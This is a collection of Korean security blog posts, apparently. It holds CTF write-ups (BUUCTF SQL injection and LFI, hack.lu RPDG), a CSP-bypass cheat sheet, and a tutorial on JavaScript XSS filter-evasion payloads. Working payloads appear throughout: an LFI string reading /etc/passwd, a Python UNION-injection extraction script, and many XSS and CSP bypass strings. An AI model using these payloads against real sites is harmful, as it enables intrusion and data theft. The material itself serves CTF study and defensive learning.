하.. 중국어라 번역이 잘 안돼서 좀 짜증나긴 하지만 그래도 괜찮다.

 

보이는가? 이 개발 번역이

 

허..

 

 

 

오 sqli..

 

 

오 필터링..

 

 

주요 문법들이 다 안된다.

 

 

만고의 sqli 삽질 끝에 뭔지 몰겠어서 찾아보니 아니 이럴수가..

 

 

앗... multi query라니..

 

존재만 알고 CTF나 문제로 한번도 나온적이 없어서 생각의 틀에 갇혀있었던 것 같다.

 

multi query에서 할 수 있는 공격은 찾아보니

 

preg_match로 필터링 하는것 중에 rename이 필터링 안되어 있어서

 

1. 현재 조회되고있는 테이블 명을 rename으로 tmp로 변경

2. flag가 담겨있는 테이블을 현재 조회되고있는 테이블명으로 변경

3. '||1# attack

 

이런 방법이 있었다.

 

근데 이보다 더 쉬운 방법이 있는데, mysql 자체에서 제공하는 prepared statement 기능을 이용하는 것이다.

 

출처 : mysqlkorea.com

 

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12
[BUUCTF] - [HCTF 2018]WarmUp1  (2) 2020.02.11

대망의 BUUCTF 라업 시작,,,

 

@posix의 소개로 중국 워게임 사이트를 알게 되었다.

 

본래 워게임 풀어도 귀찮아서 라업을 잘 안쓰는 나지만 CTF 분야 중 웹은 아카이빙 해둔 곳이 보기 드물기에 아주 반가운 사이트.

 

안그래도 워게임은 풀게 없고 CTF는 간헐적으로 열려서 굶주려있던 찰나에 잘된 것 같다.

 

앞에서부터 차례로 뿌시기 시작!!

 

다만 아직도 쓰기 귀찮은건 여전하니 간략히 내 기억을 remind 할 수 있을 정도로만 적고 넘어가겠다.

 

 

각설하고

 


 

왜인지 첫문제부터 난이도가 좀 있어서 당황했다. 1595명이나 solving 했다는데,, 역시 중국의 맨파워는 대단한건가

 

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 

핵심은 $whitelist 로 source.php나 hint.php만 받고 몇가지 필터링을 통과하면 include로 LFI(Local File Inclusion)할 수 있는것.

 

나중에 알았는데 phpmyadmin에서 발생했던 1day 라고 하는것 같다.

 

보통 substr을 쓸텐데 mb_substr을 쓰고 urldecode -> mb_substr을 하는게 힌트라면 힌트.

 

 

 

?file=hint.php%253f/../../../../../../etc/passwd

 

LFI 성공!

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12
[BUUCTF] - [HCTF 2018]WarmUp1  (2) 2020.02.11
  1. ar9ang3 ar9ang3 2020.02.17 17:59 신고

    https://buuoj.cn/

codegate 2020 CSP 문제 풀다가 관련 우회기법 정리해야겠다 싶어서 대충 정리해서 올려봅니다.

추가로 알게되는 정보가 있으면 업데이트 할게요~~

 


 

CTFZone 2019

 - Script nonce : cache poisoning 

  * /index.php/ 등을 이용해 cache poisoning  하여 csp script nonce를 고정

 

 

Codegate 2020

 - Script none : Header Injection - Status Code 102

  * Status Code 102 일때는 CSP가 동작하지 않는점을 이용

  * header("HTTP/: 102");

 

--

 * Script nonce : css injection의 정규표현식으로 attribute에 접근 할 수 있는 것을 이용, 한글자씩 searching 해서 script nonce를 가져옴

https://lbherrera.me/solver.html

http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

 

 * chromium 74 dev

 - import maps 이용 csp bypass

 

https://bugs.chromium.org/p/chromium/issues/detail?id=941340

https://test.shhnjk.com/imap.php

 

 * chromium 78

https://test.shhnjk.com/unxssable.php?xss=%3Ciframe%20srcdoc=%22%3Cscript%3Ealert(origin);window.stop()%3C/script%3E%3Cmeta%20http-equiv=refresh%20content=%270;url=https://shhnjk.azurewebsites.net/csp_srcdoc.html%27%3E%22%3E%3C/iframe%3E

@shhnjk

 

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

@akita_zen

 

<script ?/src="data:+,\u0061lert%281%29">/</script>

@404death

 

 * 동일 및 신뢰 도메인에서 스크립트 실행이 가능한 페이지에서 불가능한 페이지에 스크립트를 실행시켜야 할 때

  - Same or Trusted domain ( script-src 'self' // script-src 'a.com' )

  - script-src 'self' unsafe-inline 

  - nginx 400 error, favicon.ico / robots.txt 등의 404 페이지를 임베딩해서 스크립트 삽입 가능

 - Request URI Too Big 에러도 활용 가능

 - Cookie max size 에러도 활용 가능

https://www.slideshare.net/ssusera0a306/volgactf-2018-neatly-bypassing-csp

 

   * Click Jacking 비슷하게 dangling markup을 이용한 csp bypass(라기보단 dom code 내 중요정보 탈취쯤 될듯)

 

http://portswigger-labs.net/dangling_markup/?x=%3Ca%20href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%22blah

 

  * angular js 등 front-end framework의 cdn을 이용한 csp bypass

 

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26 .. 

 

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src =//ajax.googleapis.com/ajax ...

 

etc...

 

최근 브라우저의 자바스크립트 엔진이 ecma script 2019(es10) 까지 업데이트 되며 많은 요소와 기능들이 추가되었습니다. 따라서 기존 javascript가 아닌 최신 ecma script 표준으로 인한 xss filtering bypass 기법들이 신설되고 있습니다. 이러한 내용들에 대해 공유하고 그 원리에 대해 간단히 설명드릴까 합니다.

 


 

XSS(Cross-Site Scripting) 취약점은 주로 사용자의 unvalid input이 브라우저의 dom 내부에 삽입되거나, 모종의 javascript 동작으로 인하여 공격자가 원하는 코드를 임의로 실행시키거나, 코드 실행의 흐름을 변경하는 취약점입니다.

대다수 경우 XSS 취약점을 방어하기 위해 하기와 같은 방어기제를 둡니다.

 


 

  1. 코드단에서의 필터링

사용자에게 파라미터를 전달받아 이를 dom에 뿌려야 하는 경우 사용자의 파라미터를 검증(validation)하여 XSS 공격에 사용되는 문구나 문자가 있을 경우 요청을 거절하거나 해당 문구/문자를 삭제합니다.

대표적으로 "(Double Quote), '(Single Quote), `(Back Quote), <(Left Angle Bracket), >(Right Angle Bracket) 등의 문자, script, alert, eval, onerror 등의 HTML Tag 및 Attribute 등이 대상입니다.

XSS 필터링 솔루션을 통해 필터링 하거나, 아니면 자체적으로 구현한 XSS Filter Function을 통해 필터링 하게 됩니다.

예를들어 Java 웹 서버의 경우 <% String param1 = request.getParameter("param1").replaceAll("script", ""); %> 와 같이 대치하거나, 문자열을 찾을 경우 파라미터를 비워버리는 등 다양한 필터링 동작을 구현할 수 있습니다.

 

  1. 웹방화벽(WAF)에서의 필터링

코드단에서의 필터링과 동일하게 특정 문구나 문자가 있을 경우 사용자의 요청을 거절합니다.

웹방화벽에서의 필터링은 코드단에서보다 해당 서버의 페이지에 전역적으로 적용되기 때문에 일반적으로 문자에 대한 필터링보단 HTML Tag나 Attribute와 같은 문구에 대한 필터링이 강한것이 특징입니다.(경험상)

replace등의 동작은 거의 수행하지 않고 block을 통해 공격을 막는 것 같습니다.

 


 

최근 잘 방어된 사이트의 경우 거의 대부분의 HTML Tag와 Attribute가 필터링 목록에 들어가있습니다. 이런 경우엔 DOM XSS 라 불리우는 ?param="><script>alert('xss');</script> 와 같이 HTML Tag를 직접 삽입해야 하는 XSS는 대부분 필터링에 걸려 실행되지 않습니다. (추가로 이렇게 HTML TAG를 직접 입력해야 하는 경우 클라이언트 단의 브라우저 XSS Auditor에 탐지되어 일부 특수 케이스를 제외하곤 스크립트가 실행되지 않습니다. 이러한 경우 실제 공격을 수행하기 위한 weaponizing은 무리가 있습니다.)

따라서 이렇게 필터링이 심하게 걸려있는 상황에서 XSS 취약점이 발생하는 경우 중 하나로 <script> 태그 영역 내에 사용자의 입력이 "제한없이" 삽입되는 경우입니다. 여기서 말한 "제한없이"는 웹방화벽에서의 필터링은 걸려있어도 코드단에서 필터링이 존재하지 않거나 미비하여 내가 원하는 코드 흐름을 만들 수 있는 경우를 뜻합니다. 예시와 함께 설명하겠습니다.

 


 

XSS Vuln Code Example

<script>
var username = "<%=request.getParameter("username")%>";
alert(username+"님 로그인 하셨습니다.");
</script>

 


 

위와 같은 경우 username 파라미터에 "(Double Quote) 문자를 삽입하여 script 태그 내의 문자열에 삽입되던 파라미터가 문자열을 벗어나고 임의 스크립트를 실행시킬 수 있게 됩니다.

하지만 이는 필터링이 하나도 없는 경우이고 코드단 필터링이나 웹방화벽에서의 필터링이 존재한다면 해당 문자 및 문구를 사용하지 않고 코드흐름을 제어해야 합니다.

본 글에선 해당 상황에서 쓰일 수 있는 유용한 필터링 우회 구문들을 몇가지 소개하고자 합니다.

 


 

alert 등, javascript 내장함수의 실행을 정규식으로 필터링하는 경우

 a=alert; a(document.domain); 

javascript에서의 함수(Function)는 Object의 종류 중 하나입니다. javascript에서의 Object는 객체로써 변수에 해당 Object를 할당해줄 수 있습니다.

따라서 변수 a에 alert (내장함수)를 할당하고, 이를 호출함으로써 alert(document.domain)을 위와 같이 표현할 수 있습니다.

정규식을 통해 (ex. /alert(.+)/) 특정 함수의 실행을 막고있다면 위와같이 우회가 가능합니다.

이하는 위와 설명이 같음

 a=eval; b="aler"; c="t(documen"; d="t.domai"; e="n)"; a(b+c+d+e); 
 a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==")); 

 


 

Quote를 사용할 수 없는 경우

 eval(8680439..toString(30)+String.fromCharCode(40,49,41)) 

Int..toString(Int) 는 앞의 숫자를 문자열 형식으로 바꾸는데, 인자로 진법을 넘깁니다. 즉 여기선 30진법으로 해석해서 문자열로 치환하라는 명령어입니다.

String.fromCharCode(int, int) 는 인자로 전달된 decimal integer 형식의 숫자들을 문자로 치환하여 concatenation 하여 반환합니다.

따라서 위의 명령어는 eval("alert(1)") 과 동일합니다.

 eval(/aler/.source+/t(1)/.source) 

javascript에서 / 사이에 있는 문자열은 정규식 표현입니다. 정규식은 Object 타입의 일종으로, 그 하위 함수 중에는 문자열로 type을 변경할 수 있는 .source attribute가 존재합니다.

Quote(Single, Double, Back) 없이 따라서 문자로 된 정규식 표현을 .source attribute를 통해 문자열로 치환된 정규식 문자를 얻을 수 있습니다.

file

 


 

괄호를 사용할 수 없는 경우

Set.constructor`alert\x28document.domain\x29``` 

Set : Javascript 내장 함수, 여기선 Set을 사용하였지만 다른 아무 내장함수를 넣어도 다 가능합니다

constructor : Set이라는 함수의 생성자를 설정합니다.

` : Back Quote는 함수에 인자를 전달함과 동시에 함수를 실행할 수 있습니다. 위의 구문을 괄호와 따옴표를 사용하여 표현해보면
Set.constructor("alert(document.domain)")() 와 같습니다.

\x28, \x29 : Ecma Script에서는 Hex Ascii String과 Unicode String, Octal String에 대하여 Auto Typecasting을 지원합니다.

\x28 == \u0028 == \50

따라서 Javascript의 내장 함수 Set의 생성자 함수의 동작을 alert(document.domain)으로 설정하고, 해당 Set 함수를 실행(``) 해줌으로써 생성자 함수가 동작하도록 하여 공격자가 원하는 임의 스크립트를 실행시킬 수 있는 것입니다.

이하는 위와 설명이 같음

Set.constructor`alert\`document.domain\```` 
Set.constructor`alert\u0028document.domain\u0029``` 
 setTimeout`alert\x28document.domain\x29` 
 setInterval`alert\x28document.domain\x29` 

 

 


 

문구 필터링 + Quote 필터링 + 괄호 필터링

 _=URL+0,/aler/.source+/t/.source+_[12]+/documen/.source+/t.domai/.source+/n/.source+_[13]instanceof{[Symbol.hasInstance]:eval} 

앞에서부터 살펴보겠습니다.

URL은 내장함수입니다. 함수(Function)는 javascript에서 Object입니다. Object와 String 타입간의 더하기 연산이 일어났을 땐 Object.toString() 메서드를 우선 실행하여 Object 자체를 문자열로 Type Casting 한 후 String 문자열과 더해줍니다.

file

따라서 위의 그림과 같이 문자열로 변하게 됩니다. 이와같은 동작을 수행한 이유는 괄호가 필터링 되어있기 때문에, 괄호를 쓰지 않고 괄호 문자를 얻기 위해서입니다.

_ 변수에 해당 문자열이 할당되었습니다. _[12] == (, _[13] == )

위에서 살펴봤듯이, 정규식을 이용하여 문자열을 획득 및 더해줄 수 있습니다. 이러한 연산을 통해 "alert(document.domain)"이라는 문자열을 얻었습니다.

최신 Ecma Script에선 기존 String, Integer 등 자료형 외에 Symbol이라는 자료형이 신설되었습니다.

 

 

file

 

 

이 Symbol 자료형의 속성 중 hasInstance라는 속성이 존재합니다. 해당 Symbol 객체가 instance 인지 판단하여 이후 동작을 재정의 할 수 있는 속성입니다.

위의 코드를 조금 더 보기 쉽게 표현해보겠습니다.

"alert(document.domain)" instanceof { [Symbol.hasInstance] : eval }

{ } 는 Object입니다. 이 Object의 Symbol.hasInstance 속성(해당 객체가 instance 라면 동작할 코드)을 eval로 정의하였습니다.

그리고 "alert(document.domain)" 문자열을 instanceof 연산자를 통해 뒤의 객체 {}가 instance인지 묻고, 이 객체(Object)가 instance라면 위에서 정의한 eval의 인자로 문자열을 넣어 호출하고 그 결과를 반환합니다.

따라서 결과적으로 eval("alert(document.domain)") 이 되게 됩니다.

이와 비슷한 원리로 이루어지는 코드들은 아래와 같습니다.

 _=URL+0,Array.prototype[Symbol.hasInstance]=eval,/alert/.source+_[12]+1+_[13]instanceof[] 
 _=URL+!0+!1,Array.prototype[Symbol.hasInstance]=eval,_[19]+_[38]+_[40]+_[33]+_[4]+_[12]+1+_[13]instanceof[] 
 Event.prototype[Symbol.toPrimitive]=x=>/javascript:0/.source+location.search,onload=open 

위 코드는 조금 다른 내용이 섞여있어 코멘트를 달겠습니다.

location.search는 uri에서 ? 이후 부분을 지정합니다.

javascript: scheme을 통해 해당 scheme으로 페이지를 이동시킨다면 이후 임의 자바스크립트 코드를 실행할 수 있습니다.

위 코드를 해석해보면,

Event 내장함수의 prototype(생성자)의 Symbol.toPrimitive의 반환값을 함수 호이스팅과 Arrow Function을 통해 /javascript:0/.source+location.search로 설정합니다.

위에서 설명했듯이 기존 Ecma Script의 자료형은 String, Integer, Undefined, Null, Boolean 이렇게 5가지 였습니다.

Ecma Script6 부턴 이를 Primitive Type이라 칭하고 이에 Symbol이라는 자료형을 새로이 추가하였습니다.

Symbol은 기존 Primitive Type과는 조금 다른 성격의 자료형입니다. 자세한 내용은 아래 블로그를 참고해주시기 바랍니다.

Symbol 자료형 관련 참고 블로그

 

[ES6] 8. Symbol

Blog posted about front end development

jaeyeophan.github.io

file

 

 

Symbol 타입이 기존 primitive type과 일치할 시 이로 변환해주는 attribute method가 Symbol.toPrimitive method 입니다.

Symbol.toPrimitive 메서드의 반환값은 Arrow Function과 함수 호이스팅을 통해 설정되어있습니다. "javascript:0"+location.search

onload=open 구문을 통해 document.onload의 동작을 open 함수로 지정하고 있습니다.

onload는 Event 속성이므로 Event 내장함수가 실행되며 이의 prototype에 설정되어있던 Symbol.toPrimitive가 실행되게 됩니다.

open 내장 함수가 toPrimitive method를 거치며
open(x => /javascript:0/.source+location.search)
-> x = function(x){return /javascript:0/.source+location.search}; open(x);
->open(/javascript:0/.source+location.search)와 같은 구문으로 변하게 됩니다.

공격자가 uri의 링크를 https://ar9ang3.com/test.html?0:alert('xss')//&param1=foo&param2=bar 와 같이 설정 후 xss를 트리거했다면,

location.search의 값은 ?0:alert('xss')//&param1=foo&param2=bar가 되고,
전체 문자열은 javascript:0?0:alert('xss')//&param1=foo&param2=bar가 되게 됩니다.

0?0:alert('xss') 이후 문자열은 주석으로 인해 사라지고, 이는 3항연산의 표현식이기때문에 false?false:alert('xss')로 변하게 되어 결국 공격자가 원하는 자바스크립트 구문이 실행되게 됩니다.

 


 

지금까지 위에 적힌 구문들 외에도 무수히 많은 방법으로 필터링을 우회할 수 있습니다. 혹 새로운 우회기법이 생각나셨다면 공유해주시면 감사하겠습니다.

읽어주셔서 감사합니다.

Reference*
xss-cheatsheet_posix

[ Summary ]

우선 해당 문제는 WEB+MISC이다. stage. 1은 웹, stage. 2는 MISC로 풀이되기 때문이다. 기본적으로는 sql injection을 통해 정보를 획득하고, 이후 빈도수에 따라 admin password를 유추하는 문제이다.

[ Vulnerability ]

메인페이지

문제페이지를 보면 유튜브 영상들이 있고 해당 영상 미리보기 이미지를 클릭할 시 /open.php?title={Base64 encoded movie name}를 통해 유튜브로 이동하게 된다. 넘기는 title 파라미터를 base64 decode 해볼 시 link 주소가 아니기 때문에 내부 데이터베이스에 정보가 매핑되어 있고, 해당 파라미터의 정보가 디비로 들어갈 것을 유추해 볼 수 있따.

따라서 해당 파라미터에 sql injection을 시도하면 아래와 같이 시도할 수 있따. (thx to 03sunf@defenit and JeonYoungSin@defenit)

/open.php?title=${base64.encode('") union select 1,2,(select database()),4 -- ')}

sql injection vuln!

또한 메인페이지에 접속시 tracc.php를 통해 키로거가 동작한다(?)

키로거가 박혀있다?

메인페이지에 진입 후 다른 페이지로 이동시 /tracc.php를 통해 키로거마냥 내가 입력한 키들이 서버로 전송된다.


그럼 이제 발견된 sqli vuln으로 union select 1,2,group_concat(schema_name),4 from information_schema.schemata 이렇게 db를 쫙 긁어보자

더보기

# extracted value

#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, key, path, timestamp, user

해당 컬럼들을 쫙 뽑아보면 tracking column에 key column이 안뽑힌다.

union select 1,2,group_concat(x.key),4 from tracking as x (thx to JeonYoungSin@defenit)

쫙 뽑으면 다음과 같은 데이터를 얻을 수 있다.

#-*-coding:utf-8-*-
import requests
import sys
import random
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib import quote

u = 'https://rpdg.fluxfingersforfuture.fluxfingers.net/open.php?title={}'


#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user

s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0

while 1:
    query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
    r = s.get(u.format(query), verify=False)
    #print dir(r)
    if r.status_code==200:
        print r.content
    elif r.status_code==404:
        t = r.url.split('https://rpdg.fluxfingersforfuture.fluxfingers.net/')[1]
        t2 = int(t.split(':')[1])
        with open('result.txt','a+') as f:
            f.write('{}:{}\n'.format(t,t2-t1))
        f.close()
        t1 = t2
        result += t
        print '[{}] {}'.format(num,t)

    else:
        print r.content
    num += 1

print result

추출 결과

이제 여기까지가 Web hacking의 영역이고 이후부턴 misc 영역이다.

중간에 문제풀다 막혀있을 때 힌트가 나왔는데 그 힌트가 상당히 결정적이었다.

더보기

HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.

한마디로 사람이 익숙한 단어를 칠땐 타이핑하는 단어 사이의 간격이 짧다는 것이다. 우리가 키로거(?)를 통해 추출한 시간값들을 t2-t1 형식으로 뽑아보면 200ms 이하로 치는 단어들이 있다.

예를들어, "arang" 이라는 단어를 친다고 가정했을 때, 내가 평소 많이 치는 단어조합이 "arang"이므로 만약 내가 "language"라는 단어를 친다면 arang의 ang가 익숙하므로 다른 영문자를 타이핑할때보다 ang를 더 빠르게 친다는 것이다.

그럼 위에 추출결과처럼 표현해보면

더보기

l : 420
a : 414
n : 153
g : 148
u : 432
a : 514
g : 394
e : 412

이런식으로 된다.

따라서 이런식으로 쭉 타이핑 습관을 tracking해보면,

더보기

gra ple equ wo le ing om ap ms ci suc grap

이런 조합이 나온다.

이걸 끝말잇기 하듯이 쫙 연결해보면 womsucingraplequ가 나온다.

이게 password일 것으로 예측하고 로그인하면 flag 획득.

flag{GDPR_is_here_to_save_y'all}

'CTF > writeup' 카테고리의 다른 글

[Write-up] 2019 hack.lu CTF [WEB+MISC] - "RPDG"  (0) 2019.10.25
[PPC] Neighbour - ASIS CTF 2018  (0) 2018.05.08
[Web] 2018 starctf - simpleweb  (0) 2018.04.23

+ Recent posts